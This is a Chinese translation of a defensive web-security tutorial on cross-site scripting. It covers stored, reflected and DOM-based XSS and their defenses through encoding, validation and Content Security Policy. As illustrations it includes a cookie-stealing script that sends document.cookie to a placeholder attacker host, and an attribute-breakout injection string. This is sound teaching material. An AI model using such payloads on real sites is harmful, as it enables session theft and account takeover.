原文地址:http://excess-xss.com/。如有翻譯不當之處,歡迎指出 :D
分為四部分:
概述
XSS 攻擊
XSS 防御
總結
第一部分:概述
XSS 是什么
跨站腳本攻擊(XSS)是一種代碼注入攻擊,攻擊者利用它可以在其它用戶瀏覽器中執行惡意 JavaScript。
攻擊者并不是直接面對受害者。而是,為了讓網站替自己傳輸惡意 JavaScript,攻擊者需要利用受害者訪問的網站上的漏洞。對受害者的瀏覽器而言,惡意的 JavaScript 似乎是網站合法的一部分,網站在無意中成為了攻擊者的共犯。
惡意 JavaScript 是如何被注入的
攻擊者在受害者瀏覽器中執行惡意 JavaScript 的唯一方式就是將其注入到受害者瀏覽的網頁中。如果網站直接將用戶輸入顯示到頁面中,就可能導致惡意代碼注入,因為攻擊者可以插入惡意字符串,讓受害者瀏覽器誤以為是代碼。
在下面的例子中,一段簡單的服務端腳本用來在網頁中展示最新的評論:
print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"
上面的腳本認為評論只會包含文本。然而,由于是直接展示用戶輸入,攻擊者可以提交類似這樣的評論 <script>...</script>
。現在,訪問該頁面的所有用戶就會接收到如下響應:
<html>
Latest comment:
<script>...</script>
</html>
當用戶瀏覽器加載了該頁面,就會執行 <script>
標簽中所有 JavaScript 代碼。攻擊者就實現了他的攻擊。
惡意 JavaScript 是什么
乍一看,在受害者瀏覽器中執行 JavaScript 似乎并沒有什么特別的危害。畢竟,JavaScript 運行在一個受到嚴格限制的環境中,對用戶文件和操作系統只能進行非常有限的訪問。事實上,你現在就可以打開瀏覽器的控制臺,執行任意的 JavaScript,而不太可能對計算機造成任何破壞。
但是,當你考慮到下面幾點時,就會更清楚惡意 JavaScript 可能造成的危害:
JavaScript 可以訪問用戶的敏感信息,例如 cookies。
JavaScript 可以通過 XMLHTTPRequest 或是其它方式發送 HTTP 請求,將任意內容發送到任意目標。
JavaScript 可以通過 DOM 操作方法,對當前頁面進行任意篡改。
上面的因素結合起來就可以造成嚴重的安全隱患,如下所述。
惡意 JavaScript 有哪些危害
在其它用戶瀏覽器中執行任意 JavaScript 的能力,使得攻擊者可以進行下面幾種攻擊:
盜取 Cookie:攻擊者使用
document.cookie
可以獲取受害者與網站關聯的 cookie,將其發送到自己的服務器,并利用 cookie 提取敏感信息,例如 session IDs。鍵盤記錄:攻擊者使用
addEventListener
可以注冊鍵盤事件監聽,然后將用戶所有的鍵盤記錄發送到自己的服務器,這里面可能會包含敏感信息,例如:密碼或信用卡號。釣魚:攻擊者使用 DOM 操作可以插入一個偽造的登錄表單,將表單的
action
屬性設置為自己的服務器地址,然后欺騙用戶提交敏感信息。
盡管這幾種攻擊方式大不相同,但有個關鍵點是相同的:由于攻擊者是在網站提供的頁面中注入的代碼,所以惡意 JavaScript 會在網站的上下文中執行。這意味著,惡意 JavaScript 與來自網站的其它腳本待遇相同:它可以訪問該網站上受害者的數據(例如:cookie)和 URL 地址欄中的主機名。不論出于何種目的,被注入的腳本會被看成網站合法的一部分,網站可以做的事,它同樣可以做。
這樣的事實凸顯了一個關鍵點:
如果攻擊者可以利用你的網站在其它用戶瀏覽器中執行任意 JavaScript,那么你的網站及其用戶的安全都受到了威脅。
為了強調這一點,本教程中的一些例子會略去惡意 JavaScript 的詳細內容,只是表示為 <script>...</script>
,這表明,不管實際中執行的是什么代碼,只要攻擊者注入的腳本出現,問題就存在。
第二部分:XSS 攻擊
XSS 攻擊涉及到的角色
在詳細介紹 XSS 攻擊如何進行之前,需要定義 XSS 中涉及到的角色。通常,一次 XSS 會涉及三個角色:網站、受害者和攻擊者。
-
網站響應 HTML 頁面給發起請求的用戶。在我們的例子中,網站是 http://website/。
網站的數據庫用來存儲一些用戶的輸入,并輸出到網站頁面中。
受害者是網站的普通用戶,通過瀏覽器請求頁面。
-
攻擊者是網站的惡意用戶,準備利用網站的 XSS 漏洞發起攻擊
攻擊者的服務器是由攻擊者控制,唯一的用途是盜取用戶敏感信息。在我們的例子中,位于 http://attacker/
一次攻擊示例
在這個例子當中,我們假設攻擊者的目標是通過利用網站 XSS 漏洞盜取受害者的 cookie。這可以通過在受害者瀏覽器中執行如下代碼實現:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
上面的腳本將瀏覽器導航到新的頁面,并觸發一次 HTTP 請求到攻擊者的服務器。URL 將受害者的 cookie 作為查詢參數,當請求到達攻擊者服務器時,攻擊者就可以提取 cookie。一旦攻擊者拿到了 cookie,他就可以冒充受害者,進而發起更深入的攻擊。
從現在起,我們將上面的 HTML 代碼稱為惡意字符串或是惡意腳本。需要注意的是,上面的字符串只有被受害者瀏覽器作為 HTML 解析之后,才會產生危害。
示例攻擊如何進行
下圖展示了攻擊者如何進行攻擊:
攻擊者利用網站的表單插入惡意字符串到網站數據庫中。
受害者從網站中請求頁面。
網站在響應中包含了來自數據庫的惡意字符串,并返回給受害者。
受害者的瀏覽器執行了響應中的惡意字符串,將受害者的 cookie 發送到了攻擊者的服務器。
XSS 類型
盡管 XSS 攻擊的目標都是在受害者瀏覽器中執行惡意 JavaScript,還是有幾種完全不同的方式來實現該目標的。XSS 攻擊通常可以分為三類:
存儲型 XSS(Persistent XSS),惡意字符串來自網站數據庫
反射型 XSS(Reflected XSS),惡意字符串來自受害者的請求
DOM 型 XSS(DOM-based XSS),漏洞位于客戶端代碼而不是服務端代碼
前面的例子展示了存儲型 XSS 攻擊。接下來介紹另外兩種:反射型 XSS 和 DOM 型 XSS。
反射型 XSS
在反射型 XSS 中,惡意字符串是受害者向網站發起的請求的一部分。然后,網站將包含惡意字符串的響應返回給了受害者。如下圖所示:
攻擊者精心構造了一個包含惡意字符串的 URL,將其發送給受害者
攻擊者欺騙受害者,使其訪問了該 URL
網站在響應中包含了來自 URL 的惡意字符串
受害者瀏覽器執行了響應中的惡意字符串,將自己的 cookie 發送到了攻擊者的服務器
如何成功發起反射型 XSS 攻擊
首先,反射型 XSS 看起來是無害的,因為它需要受害者親自發起一個包含惡意字符串的請求。而沒有人會自愿攻擊自己,乍看起來是沒辦法發動攻擊的。
恰恰相反,至少有兩種常見的方式,會導致受害者發起針對自己的反射型 XSS 攻擊。
如果目標用戶是特定的某個人,攻擊者可以發送惡意 URL 給受害者(例如:使用郵件或是即時消息),并欺騙受害者訪問該 URL。
如果目標用戶是一大群人,攻擊者可以發布指向惡意 URL 的鏈接(例如:在自己的網站或是社交網絡上),并等待受害者點擊。
這兩種方式類似,并且都可以通過利用短網址服務來提高成功率,短網址會使得惡意字符串難以分辨。
DOM XSS
DOM XSS 是存儲型 XSS 和 反射型 XSS 的變種。在 DOM XSS 攻擊中,一直到頁面運行了 JavaScript,惡意字符串才被實際的解析。
下圖展示了 DOM XSS 攻擊。
攻擊者精心構造了一個包含惡意字符串的 URL,將其發送給受害者。
攻擊者欺騙受害者,使其訪問了該 URL
網站接收到響應,但是響應中并不包含惡意字符串
受害者瀏覽器執行響應中合法的 JavaScript,導致惡意代碼插入到了頁面中
受害者瀏覽器執行了插入到頁面中的惡意代碼,將 cookie 發送到了攻擊者的服務器
DOM XSS 的不同之處在哪
在前面存儲型和反射型 XSS 示例中,服務端把惡意腳本插入到頁面中,然后將其作為響應發送給受害者。當受害者瀏覽器接收到響應時,會把惡意腳本當作是頁面的合法內容,在頁面加載過程中與其它腳本一同執行。
在 DOM XSS 示例中,惡意腳本并沒有插入到頁面中,在頁面加載過程中,只有合法的 JavaScript 被執行。問題在于,合法的 JavaScript 直接將用戶輸入插入到頁面中。因為惡意字符串通過 innerHTML 插入到頁面中,就會作為 HTML 解析,導致惡意腳本執行。
兩者的區別很小但是很重要:
在傳統的 XSS 中,惡意 JavaScript 作為服務端發送頁面的一部分,在頁面加載時被執行
在 DOM XSS 中,惡意 JavaScript 在頁面加載完成后某個時間點執行,是由頁面合法 JavaScript 沒有安全處理用戶輸入造成的。
為什么 DOM XSS 很重要
在上面的 DOM XSS 例子中,JavaScript 并不是必須的;服務端就可以生成完整的 HTML。如果服務端代碼不存在漏洞,那么網站就不存在 XSS。
但是,隨著 WEB 應用越來越高級,越來越多的 HTML 是在客戶端通過 JavaScript 生成而不是在服務端生成。任何時候不刷新整個頁面,需要更新內容,就必須通過 JavaScript 進行。值得注意的是,AJAX 請求后更新頁面就是這樣的例子。
也就是說,XSS 漏洞不僅可以出現在網站服務端代碼,還可能出現在客戶端 JavaScript 代碼中。結果就是,即使服務端代碼完全沒問題,在頁面加載完成后,客戶端代碼還是可能在 DOM 更新中不安全的包含了用戶輸入。一旦發生,客戶端代碼就存與服務端無關的 XSS 漏洞。
對服務端不可見的 DOM XSS
有一種特殊的 DOM XSS,惡意字符串不會被發送到網站服務端:當惡意字符串位于 URL 的片段標識符中(# 號之后)。瀏覽器不會發送 URL 的片段標識符到服務端,這樣,服務端代碼就沒方法獲取它。雖然客戶端代碼可以獲取它,但是如果沒有進行安全處理就會出現 XSS 漏洞。
并不是只有片段標識符會出現這種情況。對服務端不可見的用戶輸入還包括 HTML5 的新特性,例如:LocalStorage 和 IndexedDB。
第三部分:防御 XSS
防御 XSS 的方法
記住,XSS 攻擊是一種代碼注入:用戶輸入被錯誤的解釋為惡意程序代碼。為了防止這種類型的代碼注入,需要對輸入進行安全處理。對 web 開發者而言,可以采用兩種不同的方式:
編碼,轉義用戶輸入,這樣瀏覽器就只會將其解釋為數據而不是代碼。
校驗,過濾用戶輸入,這樣瀏覽器就可以將其解釋為沒有惡意命令的代碼。
盡管這兩種方式有著本質的區別,但是它們還是存在共同點,在使用過程中,理解這些共同點很重要:
上下文:根據用戶輸入在頁面中插入位置的不同,需要進行不同的安全處理
流入/流出(inbound/outbound):安全處理要么在網站接收輸入時(inbound)進行,要么在網站將輸入到插入頁面之前(outbound)進行
客戶端/服務端:安全處理可以在客戶端進行,也可以在服務端進行。在某些情況下,需要在客戶端和服務端同時進行安全處理。
在詳細介紹如何進行編碼和校驗之前,我們先來逐個解釋以上三點。
輸入處理的上下文
在網頁中,用戶輸入可能插入的地方有很多。每個地方的上下文不同,要遵循指定規則才能保證用戶輸入不會打破上下文,被解釋為惡意代碼。下面是常見的上下文:
上下文 | 示例代碼 |
---|---|
HTML element content | <div>userInput</div> |
HTML attribute value | <input value="userInput"> |
URL query value | http://example.com/?parameter=userInput |
CSS value | color: userInput |
JavaScript value | var name = "userInput"; |
為什么上下文很重要
如果用戶的輸入在編碼和校驗之前就插入到頁面中,在上面提到的上下文中都可能產生 XSS 漏洞。攻擊者要想注入惡意代碼,他只需插入對應上下文的結束分隔符,緊接著是惡意代碼。
例如,如果某個站點將用戶輸入直接插入到 HTML 屬性中,攻擊者通過以引號作為開頭的輸入就可以注入惡意腳本,如下所示:
Application code | <input value="userInput"> |
---|---|
Malicious string | "><script>...</script><input value=" |
Resulting code | <input value=""><script>...</script><input value=""> |
只需移除用戶輸入中的所有引號就可以避免上面的 XSS,但這只對該上下文有效。如果相同的輸入插入到其它的上下文,結束分隔符可能就不同,又可能導致注入。所以說,需要根據用戶輸入插入點的上下文,進行不同的安全處理。
流入/流出(inbound/outbound)的輸入處理
僅憑直覺,似乎只需在網站接收到用戶輸入時,對其進行編碼或是校驗就可以防止 XSS。用這種方式,任何惡意代碼插入到頁面中的時候都已經失效了,生成 HTML 的腳本就無需關心安全處理。
問題在于,前面也提到過,用戶輸入可以插入到頁面中很多地方。確定用戶輸入最終會插入到哪一種上下文并不簡單,而且相同的用戶輸入經常需要插入到不同的上下文。依賴 inbound 輸入處理來防御 XSS 是一種非常脆弱的方案,很容易出錯。(PHP 廢棄的特性 magic quotes 就是這樣的方案)
反倒是,outbound 輸入處理應該作為防御 XSS 的首要陣線,因為它可以考慮到用戶輸入即將插入的特定上下文。換句話說,inbound 校驗可以用來作為第二層保護,后面會再提到。
在哪里進行安全處理
當前,在大多數 web 應用中,客戶端代碼和服務端代碼都會涉及到處理用戶輸入。為了防御所有類型的 XSS,安全處理也要同時在服務端和客戶端進行。
為了防御傳統的 XSS,安全處理必須在服務端代碼進行。通過服務器支持的語言實現。
為了防御服務器接收不到惡意字符串的 DOM XSS,(例如,前面的提到的片段標識符攻擊)安全處理必須在客戶端進行。通過 JavaScript 實現。
現在我們已經解釋過為什么上下文很重要,為什么區分 inbound 和 outbound 輸入處理很重要,為什么安全處理需要同時在客戶端代碼和服務端代碼同時進行。接下來,將要闡述兩種安全處理(編碼和校驗)是如何進行的。
編碼
編碼用來轉義用戶輸入,這樣瀏覽器就會將其解釋為數據而不是代碼。在 web 開發中最常見的就是 HTML 轉義,它會把字符 <
和 >
分別轉換為 <
和 >
。
下面的偽代碼展示了服務端代碼如何對用戶輸入進行 HTML 轉義,然后將其插入到頁面中:
print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"
如果用戶輸入為字符串 <script>...</script>
,輸出 HTML 結果如下:
<html>
Latest comment:
<script>...</script>
</html>
由于所有有特殊含義的字符都被轉義了,所以瀏覽器不會把用戶輸入當作 HTML 解析。
在客戶端和服務端進行編碼
當在客戶端進行編碼時,使用的是 JavaScript,它包含針對不同上下文對數據進行編碼的函數。
當在服務端進行編碼時,可用的函數和服務端的語言和框架有關。考慮到服務端語言和框架多種多樣,該教程不會涉及特定語言或框架的編碼。不管怎樣,熟悉客戶端編碼函數對編寫服務端代碼也是很有幫助的。
在客戶端編碼
當在客戶端使用 JavaScript 編碼用戶輸入時,有一些內置的方法和屬性會自動根據上下文進行編碼:
上下文 | 方法、屬性 |
---|---|
HTML element content | node.textContent = userInput |
HTML attribute value |
element.setAttribute(attribute, userInput) or element[attribute] = userInput
|
URL query value | window.encodeURIComponent(userInput) |
CSS value | element.style.property = userInput |
前面提到的最后一種上下文(JavaScript values)并不包含在內,because JavaScript provides no built-in way of encoding data to be included in JavaScript source code.
編碼的局限性
即使進行了編碼,在一些上下文中還是可能輸入惡意字符串。一個值得注意的示例如下,當用戶輸入用來提供 URL:
document.querySelector('a').href = userInput
盡管給一個超鏈接元素的 href 屬性賦值,會自動編碼保證其成為屬性值而不是其它,但這并不能阻止攻擊者插入以 "javascript:" 開頭的 URL。當點擊鏈接時,URL 中嵌入的 JavaScript 就被執行。
當你希望用戶可以自定義頁面部分代碼時,編碼這種處理方式就不太合適了。例如:在個人資料頁,用戶可以自定義 HTML。如果對這些 HTML 進行編碼,那么個人資料頁只能包含純文本了。
在這種情況下,編碼必須配合校驗進行,下面介紹校驗。
校驗
校驗是指過濾用戶輸入,以便移除所有惡意的部分,而無需移除其中所有代碼。在 WEB 開發中最常見的一種校驗就是允許一些 HTML 元素(例如: <em>
和 <strong>
)但是不允許其它一些(例如:<script>
)。
根據實現方式的不同,主要有兩種典型的校驗方法:
分類策略(Classification strategy):使用黑名單或白名單對用戶輸入進行分類。
validation outcome:被確認為有惡意的用戶輸入,可以選擇拒絕或是凈化。
分類策略(Classification strategy)
黑名單
直覺上,通過定義一個不允許出現在用戶輸入中的禁止模式(forbidden pattern),來進行校驗是合理的。如果字符串匹配了該模式,就被標記為非法。例如:允許用戶提交自定義的任意協議的 URL,除了 javascript: 偽協議。這種分類策略稱為黑名單。
但是,黑名單有兩大缺點:
復雜:準確的描述所有可能的惡意字符串的集合通常是一項非常復雜的任務。上面例子中,通過簡單地搜索子字符串 "javascript:" 來實現是不行的,因為這會漏掉字符串的其它變種,例如:
"Javascript:"
(首字母大寫)和"javascript:"
(首字母編碼成了字符引用)容易失效:即使開發出了完美的黑名單,一旦瀏覽器增加了允許惡意用戶使用的新特性,黑名單就失效了。例如,在 HTML5 onmousewheel 屬性出現之前開發的 HTML 驗證黑名單,就不能防御使用該屬性進行的 XSS 攻擊。這個缺點在 WEB 開發中尤其明顯,因為使用到的多種技術都在不斷地更新中。
由于這些缺點,強烈反對使用黑名單作為分類策略。通常,白名單是一種更加安全的方式。
白名單
白名單基本上和黑名單是相反的:不是定義禁止模式,而是定義允許模式(allowed pattern),如果字符串不匹配該模式,則標記為非法。
對照前面黑名單的例子,允許用戶提交自定義 URL 的白名單只包含 http: 和 https: 協議,不包含其它。使用這種方式會自動將包含 javascript:
協議的 URL 標記為非法,即使它以 "Javascript:"
或 "javascript:"
形式出現。
和黑名單相比,白名單的兩大優點是:
簡單:通常,準確的描述一個安全的字符串的集合要比定義一個包含所有惡意字符串的集合要簡單很多。尤其是,在一般情況下,用戶輸入只需是瀏覽器功能的有限子集時更是如此。例如,用于描述上面只允許 http: 或 https: 協議的 URL 的白名單是很簡單的,并且在大多數情況下完全夠用。
持久性:不像黑名單,當有瀏覽器增加新特性時,白名單一般不會失效。例如:一個 HTML 校驗白名單只允許 HTML 元素上出現 title 屬性,即使 HTML5 新增了 onmousewheel 屬性,白名單依然有效。
Validation outcome
當輸入被標記為非法,可以采取兩種行為:
拒絕:簡單粗暴的拒絕該輸入,阻止其在網站的任何地方使用
凈化:移除所有非法部分,剩余部分正常用在網站中
兩種方式中,拒絕最容易實現。話雖如此,凈化通常更有用,因為它允許用戶的輸入范圍更廣。例如,如果一個用戶提交信用卡號,凈化過程中通過移除所有非數字字符來防止代碼注入,同時可以允許用戶在數字間使用連字符。
如果你決定使用凈化,必須保證凈化過程本身沒有使用黑名單的方式。例如:即使 URL"Javascript:..."
被白名單標記為非法,只需移除所有的 "Javascript:"
還是可以使其通過凈化流程。因此,測試完備的庫和框架還是應該盡可能的使用凈化。
選用哪種方法
編碼應該作為防御 XSS 的第一陣線,因為編碼的目的就是 neutralize data,保證其不會被解釋為代碼。上面提到過,在某些情況下,需要用校驗來輔助編碼。應該在 outbound 處使用編碼和校驗,因為只有當輸入展示到頁面中時,你才知道要編碼或校驗的上下文。
作為第二陣線,你應該使用 inbound 校驗來凈化或是拒絕那些明顯非法的數據,例如:使用 javascript: 協議的鏈接。雖然僅憑這并不能保證絕對安全,但是如果第一陣線由于失誤或是錯誤導致沒有正確進行,第二陣線就成了有用的預防措施。
如果能一貫的落實這兩道防線,你的網站應該不會遭受 XSS 攻擊。但是,考慮到開發和維護整個網站的復雜性,要想僅通過對輸入進行安全處理就達到絕對安全是很困難的。作為第三道防線,你應該使用馬上就要講到的內容安全策略(Content Security Policy)。
Content Security Policy(CSP)
僅憑對輸入進行安全處理來防御 XSS 的不足之處在于一個安全上的小失誤就可以威脅到整個網站。被稱為內容安全策略(CSP)的 WEB 標準可以降低這一風險。
CSP 用來限制瀏覽器 viewing your page 保證其只能使用從可信任的源下載的資源。資源可以是腳本、樣式表、圖片或是頁面引用的其它類型文件。也就是說,即使攻擊者成功在網站中注入了惡意代碼,CSP 可以防止其被執行。
CSP 可以用來強制實施下面的規則:
No untrusted sources:外部資源只能從一個明確定義的可信源集合中加載
No inline resources:不執行行內(inline) JavaScript 和 CSS
No eval:不可以使用 JavaScript 函數 eval
應用 CSP
在下面的例子中,攻擊者成功在某個頁面中注入了惡意代碼:
<html>
Latest comment:
<script src="http://attacker/malicious?script.js"></script>
</html>
如果定義了合理的 CSP 策略,瀏覽器就不會加載和執行 malicious-script.js,因為 http://attacker/ 不會出現在可信源集合中。在這種情況下,即使網站沒能正確對輸入進行安全處理,CSP 策略可以防止漏洞造成任何損害。
即使攻擊者注入的不是外部文件,而是行內腳本代碼,合理的 CSP 策略仍可以禁止行內 JavaScript,從而防止漏洞造成任何傷害。
如何啟用 CSP
默認情況下,瀏覽器不強制使用 CSP。為了給網站開啟 CSP,響應中要帶上額外的 HTTP 頭:Content-Security-Policy。如果瀏覽器支持 CSP,那么所有帶有這一 HTTP 頭的頁面都會遵守 CSP。
由于安全策略是通過每一個 HTTP 響應來發送,可以在服務端對每一頁都設置安全策略。相同的策略可以通過在每個響應中提供相同的 CSP 頭來應用到整站上。
Content-Security-Policy 響應頭的值是一個字符串,定義了一個或多個安全策略,會應用到頁面中。后面會講到它的語法。
注意:本節示例中,為了表示清楚 HTTP 頭部,使用了換行和縮進,在實際的 HTTP 頭部中,這是不應該出現的。
CSP 語法
CSP 頭部語法如下:
Content?Security?Policy:
directive source?expression, source?expression, ...;
directive ...;
...
由兩個元素構成:
指令:聲明資源類型的字符串,從預定義列表中取值。
來源表達式(Source expressions):描述可以用于下載資源的一個或多個服務器的模式
對每個指令來說,給定的來源表達式定義了該資源類型可以使用哪些來源下載資源。
指令
在 CSP 頭部中可以使用的指令列表如下:
connect?src
font?src
frame?src
img?src
media?src
object?src
script?src
style?src
除了上面這些,還有一個特別的指令:default-src,它可以用來給所有指令提供一個默認值,那些沒有出現在 HTTP 頭部中的指令使用默認值。
來源表達式(source expressions)
來源表達式語法如下:
protocol://host?name:port?number
主機名可以以 打頭,表示所提供的主機名的任何子域都被允許。類似的,端口號也可以是 ,表示所有端口都被允許。此外,協議和端口號可以省略。也可以只指定協議,從而實現要求所有資源都通過 HTTPS 加載。
除此之外,來源表達式還可以是下面四個有特殊含義的關鍵詞之一(包含引號):
'none':不允許該類型資源
'self':允許從提供當前頁面的主機下載資源
'unsafe-inline':允許在頁面中嵌入資源,例如:行內
<script>
元素,<style>
元素和 javascript: URL。'unsafe-eval':允許使用 JavaScript eval 函數
需要注意的是,一旦啟用 CSP,默認情況下,行內資源和 eval 是自動被禁止的。使用它們的唯一方式就是使用 'unsafe-inline' 和 'unsafe-eval'。
示例
Content?Security?Policy:
script?src 'self' scripts.example.com;
media?src 'none';
img?src *;
default?src 'self' http://*.example.com
在上面的例子當中,頁面遵循如下限制:
只能從當前頁面所在主機和 scripts.example.com 加載腳本
不允許加載音頻和視頻文件
可以從任何主機加載圖片文件
其它類型的資源可以從當前頁面所在主機和 example.com 的任何子域加載
CSP 當前狀態
截止到 2013 年 6 月,CSP 處于 W3C candidate recommendation。已經有瀏覽器實現了,但是部分功能只特定于某個瀏覽器。特別是,瀏覽器之間使用的 HTTP 頭部是不同的。在使用 CSP 之前,請先查閱對應瀏覽器的文檔。
總結
總結:XSS 概述
XSS 是一種代碼注入攻擊,因為沒有安全的處理用戶輸入而導致。
一次成功的 XSS 攻擊可以使攻擊者在受害者瀏覽器中執行惡意 JavaScript 代碼。
一次成功的 XSS 攻擊損害了網站及其用戶的安全。
總結:XSS 攻擊
-
主要存在三種 XSS 攻擊:
存儲型 XSS,惡意輸入來自網站的數據庫
反射型 XSS,惡意輸入來自受害者發起的請求
DOM XSS,漏洞存在于客戶端代碼,而不是服務端代碼
上面三種 XSS 攻擊雖然實現方式不同,但是如果成功,效果相同。
總結:防御 XSS
-
防御 XSS 最重要的方法就是對用戶輸入進行安全處理:
大多數時候,對頁面中展示的用戶輸入都要進行編碼
在一些場景下,需要用校驗代替或是輔助編碼
進行安全處理時,需要考慮到用戶輸入插入點的上下文
為了防御所有類型的 XSS 攻擊,對輸入進行的安全處理既要在客戶端進行,也要在服務端進行
當安全處理失敗時,內容安全策略(CSP)提供了額外的防御層
附錄
術語
需要指出的是,用于 XSS 分類的術語存在一些重疊:DOM XSS 攻擊同時也是存儲型或是反射型;它并不是一個獨立的攻擊類型。目前沒有廣泛接受的不存在重疊的分類術語。不考慮術語,區分各種攻擊最重要的就是確定惡意輸入來自哪里以及漏洞存在哪里。